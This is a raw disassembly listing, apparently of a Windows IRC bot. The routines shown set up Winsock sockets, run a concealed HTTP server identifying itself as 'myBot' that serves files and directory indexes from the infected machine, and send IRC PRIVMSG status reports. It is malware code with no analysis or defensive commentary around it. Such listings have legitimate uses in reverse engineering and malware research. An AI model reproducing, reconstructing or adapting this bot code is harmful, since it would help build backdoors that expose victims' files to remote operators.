8Bh, 0ECh ; DATA XREF: sub_40BACD+22Ao dd 0A70EC81h, 458B0000h, 57565308h, 0A9B9016Ah, 8B000000h dd 20BD8DF0h, 5BFFFFF9h, 9889A5F3h, 2A0h, 0F590858Dh, 0F633FFFFh dd 1016850h, 5D890000h, 0D45D89E4h, 89DC5D89h, 0FFFDD4B5h dd 0C4B589FFh, 0E8FFFFFBh, 716A57FAh, 6A535690h, 37E89002h dd 8B716A52h, 4271F435h, 0E44D8D00h, 0BF51046Ah, 0FFFFh dd 5057046Ah, 0FFF84589h, 0D4458DD6h, 6A50046Ah, 7D8B57FBh dd 0D6FF57F8h, 50DC458Dh, 4667E68h, 37E85780h, 90716A2Bh dd 0ACE0A166h, 6583004Ch, 665000B8h, 2B445C7h, 0A415FF00h dd 66004CAFh, 8DB64589h, 106AB445h, 0E8905750h, 716A5482h dd 77DC085h, 60E9C38Bh, 6A000005h, 83E8570Ah, 90716A73h dd 0FDD49D89h, 1D8BFFFFh, 427224h, 0FDD8BD89h, 7D89FFFFh dd 8D416AFCh, 0FFFDD4B5h, 0BD8D59FFh, 0FFFFFBC4h, 0F633A5F3h dd 0FBC4858Dh, 5656FFFFh, 458B5056h, 0E85040FCh, 716A2DF4h dd 0FFF88390h, 50E840Fh, 0FF330000h, 89FC7539h, 0C57C087Dh dd 646AF633h, 0FD60858Dh, 5056FFFFh, 0CACFE8h, 8D646A00h dd 0FFFF5085h, 0E85056FFh, 0CAC0h, 8D18C483h, 0FFFBC485h dd 0E85750FFh, 17C76h, 840FC085h, 4BAh, 75F87D3Bh, 0F0458D7Ah dd 10F045C7h, 50000000h, 0FDC4858Dh, 0FF50FFFFh, 0E890F875h dd 716A9B85h, 0FFFF883h, 49184h, 39C93300h, 0FFFDD4B5h dd 8D1676FFh, 0FFFDD895h, 740239FFh, 0C283410Ch, 0D48D3B04h dd 72FFFFFDh, 0D48D3BF0h, 75FFFFFDh, 0D4BD8316h, 40FFFFFDh dd 84890D73h, 0FFFDD88Dh, 0D485FFFFh, 3BFFFFFDh, 37EFC45h dd 56FC4589h, 1468156Ah, 50004338h, 3BE9D3FFh, 56000004h dd 0FD60858Dh, 646AFFFFh, 19E85750h, 90716A6Bh, 527FC085h dd 0FDD4958Bh, 0C933FFFFh, 3A76D63Bh, 0FDD8858Dh, 3839FFFFh dd 83410A74h, 0CA3B04C0h, 26EBF472h, 73CA3B4Ah, 8D848D1Bh dd 0FFFFFDD8h, 4104508Bh, 958B1089h, 0FFFFFDD4h, 4A04C083h dd 0EC72CA3Bh, 0FDD48DFFh, 0E857FFFFh, 716A2EA5h, 3D4E990h dd 858D0000h, 0FFFFFCC8h, 50858D50h, 50FFFFFFh, 0FD60858Dh dd 0C68FFFFh, 50004338h, 0DA58E8h, 50858D00h, 68FFFFFFh dd 433804h, 0D472E850h, 0C4830000h, 75C08518h, 166A560Dh dd 4337EC68h, 82E900h, 858D0000h, 0FFFFFF50h, 4337E468h dd 4DE85000h, 590000D4h, 7559C085h, 146A560Ah, 4337CC68h dd 8D61EB00h, 0FFFF5085h, 37C468FFh, 0E8500043h, 0D42Ch dd 59C08559h, 6A560A75h, 37B4680Dh, 40EB0043h, 0FF50858Dh dd 0AC68FFFFh, 50004337h, 0D40BE8h, 0C0855900h, 560A7559h dd 9868106Ah, 0EB004337h, 50858D1Fh, 68FFFFFFh, 433794h dd 0D3EAE850h, 85590000h, 0E7559C0h, 681E6A56h, 433774h dd 2F1E957h, 6CBF0000h, 8D004337h, 0FFFF5085h, 0E85057FFh dd 0D3C4h, 59C08559h, 858D2475h, 0FFFFFCC8h, 43376868h dd 0ADE85000h, 590000D3h, 7559C085h, 136A560Dh, 43375468h dd 2B2E900h, 858D0000h, 0FFFFFF50h, 8DE85057h, 590000D3h dd 7559C085h, 0C8858D24h, 68FFFFFCh, 433750h, 0D376E850h dd 85590000h, 0D7559C0h, 68136A56h, 43373Ch, 27BE9h, 50858D00h dd 68FFFFFFh, 433734h, 0D352E850h, 85590000h, 347559C0h dd 8BE0A6Ah, 59004337h, 0FED8BD8Dh, 0A5F3FFFFh, 0D8858D50h dd 50FFFFFEh, 9DE8A566h, 590000C2h, 0D8858D50h, 50FFFFFEh dd 0FF0875FFh, 0E9F633D3h, 235h, 0FF50858Dh, 68FFFFh, 50004337h dd 0D307E8h, 0C0855900h, 6A2A7559h, 36E8BE05h, 8D590043h dd 0FFFF38BDh, 66A5F3FFh, 858D50A5h, 0FFFFFF38h, 51E8A450h dd 590000C2h, 38858D50h, 0EBFFFFFFh, 50858DB2h, 68FFFFFFh dd 4336E0h, 0D2C6E850h, 85590000h, 850F59C0h, 0B6h, 0FD2C858Dh dd 8D50FFFFh, 0FFFF0485h, 458D50FFh, 458D50ECh, 458D50E8h dd 458D50E0h, 858D50D8h, 0FFFFFD60h, 4336B868h, 62E85000h dd 8D0000D8h, 0FFFF0485h, 8AE850FFh, 8B0000C9h, 2C858DF8h dd 50FFFFFDh, 0C97CE8h, 0F4458900h, 858D326Ah, 0FFFFFF04h dd 81E85056h, 830000C7h, 858D34C4h, 0FFFFFF04h, 57F475FFh dd 4336B068h, 5FE85000h, 6A0000CAh, 4858D10h, 56FFFFFFh dd 0CF8FE850h, 0C4830000h, 0F445891Ch, 50EC458Dh, 50E8458Dh dd 50E0458Dh, 50D8458Dh, 68C4458Dh, 4336A4h, 0CA2CE850h dd 0C4830000h, 1D6A5618h, 43368468h, 11EE900h, 858D0000h dd 0FFFFFF50h, 43367C68h, 0F5E85000h, 590000D1h, 0F59C085h dd 0E485h, 286A5600h, 43365068h, 875FF00h, 75FFD3FFh, 0C4458DF4h dd 120E850h, 83590000h, 0F5901F8h, 0B685h, 0C4458D00h dd 20858D50h, 68FFFFF7h, 433634h, 0C9C8E850h, 0C4830000h dd 0BCB5390Ch, 75FFFFFBh, 858D5623h, 0FFFFF720h, 0FBB8B5FFh dd 8D50FFFFh, 0FFFB3885h, 0B5FF50FFh, 0FFFFF920h, 0FFAB89E8h dd 14C483FFh, 14AE8h, 1F88300h, 93850Fh, 6A560000h, 361C6817h dd 75FF0043h, 8DD3FF08h, 8D50C445h, 0FFF72085h, 35FC68FFh dd 0E8500043h, 0C96Ah, 390CC483h, 0FFFBBCB5h, 562375FFh dd 0F720858Dh, 0B5FFFFFFh, 0FFFFFBB8h, 38858D50h, 50FFFFFBh dd 0F920B5FFh, 2BE8FFFFh, 83FFFFABh, 858D14C4h, 0FFFFF720h dd 6256E850h, 5FF0000h, 4CDAB0h, 562EEB59h, 0D868206Ah dd 0EB004335h, 50858D1Fh, 68FFFFFFh, 42C9C4h, 0D0F6E850h dd 85590000h, 0D7559C0h, 681B6A56h, 4335BCh, 0FF0875FFh dd 8D646AD3h, 0FFFD6085h, 0E85056FFh, 0C5F4h, 83087D8Bh dd 3B470CC4h, 7D89FC7Dh, 18E0F08h, 0E9FFFFFBh, 0FFFFFAC1h dd 5F58016Ah, 0C2C95B5Eh db 4, 0 ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 1A0h lea eax, [ebp-1A0h] push eax push 101h nop call near ptr 71AB41DAh push 0 push 1 push 2 nop call near ptr 71AB3C22h push dword ptr [ebp+8] mov dword_4CDCF8, eax mov word ptr [ebp-10h], 2 call near ptr 71AB12F8h nop push dword ptr [ebp+0Ch] mov [ebp-0Ch], eax nop call near ptr 71AB1746h mov [ebp-0Eh], ax lea eax, [ebp-10h] push 10h push eax push dword_4CDCF8 nop call near ptr 71AB3E5Dh cmp eax, 0FFFFFFFFh jnz short loc_40F036 push dword_4CDCF8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40F036: ; CODE XREF: ___:0040F01Ej push 1 pop eax leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 504h push esi lea eax, [ebp-104h] push 104h push eax push 0 nop call near ptr 2660000h lea eax, [ebp-104h] push offset dword_429068 push eax call sub_41B4C2 mov esi, eax pop ecx test esi, esi pop ecx jz short loc_40F0D2 test byte ptr [esi+0Ch], 10h jnz short loc_40F0B6 push edi mov edi, 400h loc_40F07E: ; CODE XREF: ___:0040F0B3j push esi push 1 lea eax, [ebp-504h] push edi push eax call sub_41B11A add esp, 10h lea eax, [ebp-504h] push 0 push edi push eax push dword_4CDCF8 nop call near ptr 71AB1AF4h push 1 call near ptr 2670000h nop test byte ptr [esi+0Ch], 10h jz short loc_40F07E pop edi loc_40F0B6: ; CODE XREF: ___:0040F076j push esi call sub_41B05B pop ecx push dword_4CDCF8 nop call near ptr 71AB1A6Dh call near ptr 71AB1836h nop push 1 pop eax loc_40F0D2: ; CODE XREF: ___:0040F070j pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F0D5 proc near ; DATA XREF: sub_401ACD+2283o ; sub_40BACD+475o var_28F0 = byte ptr -28F0h var_18F0 = byte ptr -18F0h var_8F0 = byte ptr -8F0h var_6F0 = byte ptr -6F0h var_5EC = dword ptr -5ECh var_5E8 = byte ptr -5E8h var_360 = byte ptr -360h var_25C = dword ptr -25Ch var_254 = dword ptr -254h var_250 = dword ptr -250h var_24C = dword ptr -24Ch var_248 = dword ptr -248h var_23C = byte ptr -23Ch var_138 = dword ptr -138h var_134 = dword ptr -134h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 28F0h call sub_41BB20 mov eax, [ebp+arg_0] push ebx push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_5EC] push 1 rep movsd pop esi xor ebx, ebx mov [eax+3ACh], esi push 10h lea eax, [ebp+var_24] push ebx push eax mov [ebp+var_14], esi call sub_41B590 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+var_25C] call dword_4CAFA4 push ebx push esi push 2 mov [ebp+var_22], ax mov [ebp+var_20], ebx call dword_4CB024 mov edi, eax cmp edi, 0FFFFFFFFh mov [ebp+var_C], edi jz loc_40F4C0 mov eax, [ebp+var_254] push 10h imul eax, 234h mov dword_43DEEC[eax], edi lea eax, [ebp+var_24] push eax push edi call dword_4CAFD0 cmp eax, 0FFFFFFFFh jz loc_40F4C0 push 7FFFFFFFh push edi call dword_4CAFCC cmp eax, 0FFFFFFFFh jz loc_40F4C0 lea eax, [ebp+var_14] push eax push 8004667Eh push edi call dword_4CB040 cmp eax, 0FFFFFFFFh jz loc_40F4C0 mov ebx, esi mov [ebp+var_134], edi mov [ebp+var_138], ebx mov [ebp+var_8], edi loc_40F1AC: ; CODE XREF: sub_40F0D5+3E1j push 41h xor eax, eax pop ecx lea esi, [ebp+var_138] push eax push eax push eax lea eax, [ebp+var_6F0] push eax mov eax, [ebp+var_8] lea edi, [ebp+var_6F0] inc eax rep movsd push eax call dword_4CAF8C cmp eax, 0FFFFFFFFh jz loc_40F4BB xor esi, esi mov [ebp+var_4], esi loc_40F1E2: ; CODE XREF: sub_40F0D5+3DBj lea eax, [ebp+var_6F0] push eax push esi call dword_4CAE90 test eax, eax jz loc_40F4A6 cmp esi, [ebp+var_C] jnz short loc_40F264 lea eax, [ebp+var_10] mov [ebp+var_10], 10h push eax lea eax, [ebp+var_34] push eax push [ebp+var_C] call dword_4CB038 cmp eax, 0FFFFFFFFh jz loc_40F4A6 xor ecx, ecx test ebx, ebx jbe short loc_40F236 lea edx, [ebp+var_134] loc_40F22A: ; CODE XREF: sub_40F0D5+15Fj cmp [edx], eax jz short loc_40F236 inc ecx add edx, 4 cmp ecx, ebx jb short loc_40F22A loc_40F236: ; CODE XREF: sub_40F0D5+14Dj ; sub_40F0D5+157j cmp ecx, ebx jnz short loc_40F253 cmp ebx, 40h jnb short loc_40F253 mov [ebp+ecx*4+var_134], eax mov ebx, [ebp+var_138] inc ebx mov [ebp+var_138], ebx loc_40F253: ; CODE XREF: sub_40F0D5+163j ; sub_40F0D5+168j cmp eax, [ebp+var_8] jbe loc_40F4A6 mov [ebp+var_8], eax jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F264: ; CODE XREF: sub_40F0D5+126j mov edi, 1000h lea eax, [ebp+var_28F0] push edi push 0 push eax call sub_41B590 push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 18h lea eax, [ebp+var_28F0] push 0 push edi push eax push esi call dword_4CAFBC test eax, eax jg short loc_40F2F7 push esi call dword_4CB03C xor ecx, ecx test ebx, ebx jbe loc_40F4A6 lea eax, [ebp+var_134] loc_40F2B6: ; CODE XREF: sub_40F0D5+1EBj cmp [eax], esi jz short loc_40F2C7 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F2B6 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2C7: ; CODE XREF: sub_40F0D5+1E3j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F2EB lea eax, [ebp+ecx*4+var_134] loc_40F2D5: ; CODE XREF: sub_40F0D5+214j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F2D5 loc_40F2EB: ; CODE XREF: sub_40F0D5+1F7j dec ebx mov [ebp+var_138], ebx jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F2F7: ; CODE XREF: sub_40F0D5+1C8j xor esi, esi push 104h lea eax, [ebp+var_23C] push esi push eax call sub_41B590 lea eax, [ebp+var_28F0] mov [ebp+arg_0], esi push eax call sub_41AFE0 add esp, 10h test eax, eax jbe loc_40F4A6 loc_40F325: ; CODE XREF: sub_40F0D5+309j mov eax, [ebp+arg_0] mov al, [ebp+eax+var_28F0] cmp al, 0Ah mov [ebp+esi+var_18F0], al jnz loc_40F3CA mov esi, offset aGet_0 ; "GET " lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx test eax, eax pop ecx jz short loc_40F39E lea eax, [ebp+var_18F0] push eax call sub_41AFE0 cmp eax, 5 pop ecx jbe short loc_40F39E mov eax, offset asc_42CA64 ; " " push eax push eax lea eax, [ebp+var_18F0] push esi push eax call sub_41B900 pop ecx pop ecx push eax call sub_41B900 pop ecx pop ecx push eax call sub_41C0F4 push eax lea eax, [ebp+var_23C] push eax call sub_41BEB0 add esp, 10h jmp short loc_40F3B5 ; --------------------------------------------------------------------------- loc_40F39E: ; CODE XREF: sub_40F0D5+27Fj ; sub_40F0D5+291j lea eax, [ebp+var_18F0] push offset asc_433854 ; "\r\n" push eax call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_40F3E9 loc_40F3B5: ; CODE XREF: sub_40F0D5+2C7j push edi lea eax, [ebp+var_18F0] push 0 push eax call sub_41B590 add esp, 0Ch or esi, 0FFFFFFFFh loc_40F3CA: ; CODE XREF: sub_40F0D5+263j inc [ebp+arg_0] lea eax, [ebp+var_28F0] push eax inc esi call sub_41AFE0 cmp [ebp+arg_0], eax pop ecx jb loc_40F325 jmp loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F3E9: ; CODE XREF: sub_40F0D5+2DEj xor ecx, ecx test ebx, ebx jbe short loc_40F433 lea eax, [ebp+var_134] loc_40F3F5: ; CODE XREF: sub_40F0D5+32Dj mov esi, [ebp+var_4] cmp [eax], esi jz short loc_40F406 inc ecx add eax, 4 cmp ecx, ebx jb short loc_40F3F5 jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F406: ; CODE XREF: sub_40F0D5+325j lea eax, [ebx-1] cmp ecx, eax jnb short loc_40F42A lea eax, [ebp+ecx*4+var_134] loc_40F414: ; CODE XREF: sub_40F0D5+353j mov edx, [eax+4] inc ecx mov [eax], edx mov ebx, [ebp+var_138] add eax, 4 lea edx, [ebx-1] cmp ecx, edx jb short loc_40F414 loc_40F42A: ; CODE XREF: sub_40F0D5+336j dec ebx mov [ebp+var_138], ebx jmp short loc_40F436 ; --------------------------------------------------------------------------- loc_40F433: ; CODE XREF: sub_40F0D5+318j mov esi, [ebp+var_4] loc_40F436: ; CODE XREF: sub_40F0D5+32Fj ; sub_40F0D5+35Cj lea eax, [ebp+var_23C] test eax, eax jz short loc_40F49F lea eax, [ebp+var_360] push eax call sub_41AFE0 mov edi, eax lea eax, [ebp+var_23C] push eax call sub_41AFE0 add edi, eax pop ecx cmp edi, 104h pop ecx jnb short loc_40F49F and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax push 8004667Eh push esi call dword_4CB040 push [ebp+var_254] lea eax, [ebp+var_23C] push [ebp+var_248] push eax lea eax, [ebp+var_360] push eax push esi call sub_40F6B3 add esp, 14h jmp short loc_40F4A6 ; --------------------------------------------------------------------------- loc_40F49F: ; CODE XREF: sub_40F0D5+369j ; sub_40F0D5+38Fj push esi call dword_4CB03C loc_40F4A6: ; CODE XREF: sub_40F0D5+11Dj ; sub_40F0D5+143j ... mov esi, [ebp+var_4] inc esi cmp esi, [ebp+var_8] mov [ebp+var_4], esi jbe loc_40F1E2 jmp loc_40F1AC ; --------------------------------------------------------------------------- loc_40F4BB: ; CODE XREF: sub_40F0D5+102j mov edi, [ebp+var_C] xor ebx, ebx loc_40F4C0: ; CODE XREF: sub_40F0D5+6Aj ; sub_40F0D5+92j ... call dword_4CAF38 push eax lea eax, [ebp+var_8F0] push offset unk_43382C push eax call sub_41B886 add esp, 0Ch cmp [ebp+var_24C], ebx jnz short loc_40F506 push ebx lea eax, [ebp+var_8F0] push [ebp+var_250] push eax lea eax, [ebp+var_5E8] push eax push [ebp+var_5EC] call sub_409A72 add esp, 14h loc_40F506: ; CODE XREF: sub_40F0D5+40Cj lea eax, [ebp+var_8F0] push eax call sub_4151AC pop ecx push edi call dword_4CB03C push [ebp+var_254] call sub_40B412 pop ecx push ebx nop call near ptr 26D0000h pop edi pop esi pop ebx sub_40F0D5 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F530 proc near ; DATA XREF: sub_40F6B3+24Do var_1654 = byte ptr -1654h var_654 = byte ptr -654h var_550 = byte ptr -550h var_44C = dword ptr -44Ch var_3C8 = byte ptr -3C8h var_2C4 = byte ptr -2C4h var_B8 = dword ptr -0B8h var_B4 = dword ptr -0B4h var_A4 = dword ptr -0A4h var_9C = byte ptr -9Ch var_68 = byte ptr -68h var_20 = byte ptr -20h arg_0 = dword ptr 8 push ebp mov ebp, esp mov eax, 1654h call sub_41BB20 mov eax, [ebp+arg_0] push esi push edi mov ecx, 0ECh mov esi, eax lea edi, [ebp+var_44C] rep movsd mov dword ptr [eax+3ACh], 1 lea eax, [ebp+var_3C8] push eax lea eax, [ebp+var_550] push eax call sub_41B886 pop ecx lea eax, [ebp+var_2C4] pop ecx push eax lea eax, [ebp+var_654] push eax call sub_41B886 xor edi, edi pop ecx cmp [ebp+var_A4], edi pop ecx jz short loc_40F596 push offset aTextHtml ; "text/html" jmp short loc_40F59B ; --------------------------------------------------------------------------- loc_40F596: ; CODE XREF: sub_40F530+5Dj push offset aApplicationOct ; "application/octet-stream" loc_40F59B: ; CODE XREF: sub_40F530+64j lea eax, [ebp+var_9C] push eax call sub_41B886 pop ecx lea eax, [ebp+var_68] pop ecx mov esi, 409h push 46h push eax push offset aDddDdMmmYyyy ; "ddd, dd MMM yyyy" push edi push edi push esi call near ptr 2730000h nop lea eax, [ebp+var_20] push 1Eh push eax push offset aHhMmSs ; "HH:mm:ss" push edi push edi push esi call near ptr 2720000h nop lea eax, [ebp+var_20] cmp [ebp+var_B8], 0FFFFFFFFh push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax lea eax, [ebp+var_20] push eax lea eax, [ebp+var_68] push eax jnz short loc_40F614 lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200OkSe ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 24h jmp short loc_40F635 ; --------------------------------------------------------------------------- loc_40F614: ; CODE XREF: sub_40F530+C5j push [ebp+var_B8] lea eax, [ebp+var_9C] push eax lea eax, [ebp+var_1654] push offset aHttp1_0200Ok_0 ; "HTTP/1.0 200 OK\r\nServer: myBot\r\nCache-C"... push eax call sub_41B886 add esp, 28h loc_40F635: ; CODE XREF: sub_40F530+E2j lea eax, [ebp+var_1654] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_1654] push eax push [ebp+var_44C] call dword_4CAFF4 cmp [ebp+var_A4], edi jnz short loc_40F675 lea eax, [ebp+var_550] push eax push [ebp+var_44C] call sub_40FFF0 pop ecx pop ecx jmp short loc_40F692 ; --------------------------------------------------------------------------- loc_40F675: ; CODE XREF: sub_40F530+12Dj lea eax, [ebp+var_654] push eax push edi push [ebp+var_44C] lea eax, [ebp+var_550] push eax call sub_40F96A add esp, 10h loc_40F692: ; CODE XREF: sub_40F530+143j push [ebp+var_44C] call dword_4CB03C push [ebp+var_B4] call sub_40B412 pop ecx push edi nop call near ptr 26D0000h pop edi pop esi sub_40F530 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F6B3 proc near ; CODE XREF: sub_40F0D5+3C0p var_8C4 = byte ptr -8C4h var_6C4 = dword ptr -6C4h var_640 = byte ptr -640h var_53C = byte ptr -53Ch var_330 = dword ptr -330h var_32C = dword ptr -32Ch var_31C = dword ptr -31Ch var_318 = dword ptr -318h var_314 = byte ptr -314h var_211 = byte ptr -211h var_210 = byte ptr -210h var_10C = byte ptr -10Ch var_10B = byte ptr -10Bh var_10A = byte ptr -10Ah var_8 = byte ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 8C4h push ebx push esi push edi xor edi, edi push 104h lea eax, [ebp+var_210] push edi push eax mov [ebp+var_4], edi call sub_41B590 mov eax, [ebp+arg_8] add esp, 0Ch cmp byte ptr [eax], 2Fh jz short loc_40F6E9 push eax push offset aS_3 ; "\\%s" jmp short loc_40F6F2 ; --------------------------------------------------------------------------- loc_40F6E9: ; CODE XREF: sub_40F6B3+2Cj push eax mov byte ptr [eax], 5Ch push offset aS_1 ; "%s" loc_40F6F2: ; CODE XREF: sub_40F6B3+34j lea eax, [ebp+var_10C] push eax call sub_41B886 add esp, 0Ch lea eax, [ebp+var_10C] xor esi, esi xor ebx, ebx push eax call sub_41AFE0 test eax, eax pop ecx jbe short loc_40F78D mov [ebp+arg_8], 2 loc_40F71D: ; CODE XREF: sub_40F6B3+D8j lea eax, [ebp+var_10C] push eax call sub_41AFE0 cmp [ebp+arg_8], eax pop ecx jnb short loc_40F75D cmp [ebp+esi+var_10C], 25h jnz short loc_40F75D cmp [ebp+esi+var_10B], 32h jnz short loc_40F75D cmp [ebp+esi+var_10A], 30h jnz short loc_40F75D inc esi mov [ebp+ebx+var_210], 20h inc esi add [ebp+arg_8], 2 jmp short loc_40F777 ; --------------------------------------------------------------------------- loc_40F75D: ; CODE XREF: sub_40F6B3+7Aj ; sub_40F6B3+84j ... mov al, [ebp+esi+var_10C] cmp al, 2Fh jnz short loc_40F76D push 5Ch pop eax jmp short loc_40F770 ; --------------------------------------------------------------------------- loc_40F76D: ; CODE XREF: sub_40F6B3+B3j movsx eax, al loc_40F770: ; CODE XREF: sub_40F6B3+B8j mov [ebp+ebx+var_210], al loc_40F777: ; CODE XREF: sub_40F6B3+A8j lea eax, [ebp+var_10C] inc esi inc [ebp+arg_8] push eax inc ebx call sub_41AFE0 cmp esi, eax pop ecx jb short loc_40F71D loc_40F78D: ; CODE XREF: sub_40F6B3+61j lea eax, [ebp+var_210] push eax lea eax, [ebp+var_314] push [ebp+arg_4] push offset dword_4293F4 push eax call sub_41B886 lea eax, [ebp+var_314] push offset asc_4299C8 ; "\n" push eax call sub_41C0F4 add esp, 18h lea eax, [ebp+var_314] push eax nop call near ptr 2670E4Ch push 1 cmp eax, 10h pop esi jz short loc_40F7DE cmp eax, 0FFFFFFFFh jnz short loc_40F7E1 push [ebp+arg_0] jmp loc_40F861 ; --------------------------------------------------------------------------- loc_40F7DE: ; CODE XREF: sub_40F6B3+11Cj mov [ebp+var_4], esi loc_40F7E1: ; CODE XREF: sub_40F6B3+121j cmp [ebp+ebx+var_211], 5Ch jnz short loc_40F7EE mov [ebp+var_4], esi loc_40F7EE: ; CODE XREF: sub_40F6B3+136j mov ebx, [ebp+arg_0] cmp [ebp+var_4], edi mov [ebp+var_6C4], ebx mov [ebp+var_318], edi jz short loc_40F86C cmp [ebp+arg_C], edi jz short loc_40F860 lea eax, [ebp+var_314] push offset asc_433AE0 ; "*" push eax call sub_41BEC0 pop ecx lea eax, [ebp+var_314] pop ecx push eax lea eax, [ebp+var_640] push eax call sub_41B886 lea eax, [ebp+var_210] push eax call sub_4100AD add esp, 0Ch lea eax, [ebp+var_210] push eax lea eax, [ebp+var_53C] push eax call sub_41B886 or [ebp+var_330], 0FFFFFFFFh pop ecx pop ecx mov [ebp+var_31C], esi jmp short loc_40F8BB ; --------------------------------------------------------------------------- loc_40F860: ; CODE XREF: sub_40F6B3+152j push ebx loc_40F861: ; CODE XREF: sub_40F6B3+126j call dword_4CB03C jmp loc_40F963 ; --------------------------------------------------------------------------- loc_40F86C: ; CODE XREF: sub_40F6B3+14Dj push edi push edi push 3 push edi push esi lea eax, [ebp+var_314] push 80000000h push eax call near ptr 26F08DDh nop mov esi, eax cmp esi, 0FFFFFFFFh jz short loc_40F8BB lea eax, [ebp+var_314] push eax lea eax, [ebp+var_640] push eax call sub_41B886 pop ecx mov [ebp+var_31C], edi pop ecx push edi push esi nop call near ptr 2730C3Eh push esi mov [ebp+var_330], eax nop call near ptr 26508EFh loc_40F8BB: ; CODE XREF: sub_40F6B3+1ABj ; sub_40F6B3+1D6j mov esi, [ebp+arg_10] lea eax, [ebp+var_8C4] push esi push offset unk_433AAC push eax call sub_41B886 push edi lea eax, [ebp+var_8C4] push 3 push eax call sub_40B0F6 mov [ebp+var_32C], eax imul eax, 234h add esp, 18h mov dword_43DEE4[eax], esi lea eax, [ebp+var_8] push eax lea eax, [ebp+var_6C4] push edi push eax push offset sub_40F530 push edi push edi nop call near ptr 267009Ch mov ecx, [ebp+var_32C] imul ecx, 234h cmp eax, edi mov dword_43DEF4[ecx], eax jz short loc_40F935 loc_40F923: ; CODE XREF: sub_40F6B3+280j cmp [ebp+var_318], edi jnz short loc_40F963 push 5 nop call near ptr 2670000h jmp short loc_40F923 ; --------------------------------------------------------------------------- loc_40F935: ; CODE XREF: sub_40F6B3+26Ej push ebx call dword_4CB03C nop call near ptr 2670914h push eax lea eax, [ebp+var_8C4] push offset unk_433A74 push eax call sub_41B886 lea eax, [ebp+var_8C4] push eax call sub_4151AC add esp, 10h loc_40F963: ; CODE XREF: sub_40F6B3+1B4j ; sub_40F6B3+276j pop edi pop esi xor eax, eax pop ebx leave retn sub_40F6B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40F96A proc near ; CODE XREF: sub_401ACD+777Ap ; sub_40F530+15Ap var_594 = byte ptr -594h var_490 = byte ptr -490h var_388 = dword ptr -388h var_374 = byte ptr -374h var_368 = dword ptr -368h var_35C = byte ptr -35Ch var_248 = byte ptr -248h var_48 = byte ptr -48h var_20 = byte ptr -20h var_18 = word ptr -18h var_16 = word ptr -16h var_12 = word ptr -12h var_10 = word ptr -10h var_E = word ptr -0Eh var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 594h push ebx push esi push edi xor ebx, ebx push 104h lea eax, [ebp+var_594] push ebx push eax mov [ebp+var_4], ebx mov [ebp+var_8], ebx call sub_41B590 mov edi, [ebp+arg_0] push offset asc_4299C8 ; "\n" push edi call sub_41C0F4 add esp, 14h cmp [ebp+arg_8], ebx jz short loc_40F9C9 push edi mov esi, 200h push [ebp+arg_8] lea eax, [ebp+var_248] push offset aPrivmsgSSearch ; "PRIVMSG %s :Searching for: %s\r\n" push esi push eax call sub_41B980 add esp, 14h jmp loc_40FAC8 ; --------------------------------------------------------------------------- loc_40F9C9: ; CODE XREF: sub_40F96A+3Aj cmp [ebp+arg_C], ebx push edi jz loc_40FAAE call sub_41AFE0 pop ecx mov [eax+edi-1], bl push edi mov esi, 200h push offset aHtmlHeadTitleI ; "<HTML>\r\n<HEAD>\r\n<TITLE>Index of %s</TIT"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi push offset aH1IndexOfSH1Ta ; "<H1>Index of %s</H1>\r\n<TABLE BORDER=\"0\""... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push edi call sub_41AFE0 pop ecx mov byte ptr [eax+edi], 2Ah push 3Ch push 96h push 0E6h push offset aTrTdWidthDCode ; "<TR>\r\n<TD WIDTH=\"%d\"><CODE>Name</CODE><"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 18h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFF4 push offset aTrTdColspan3Hr ; "<TR>\r\n<TD 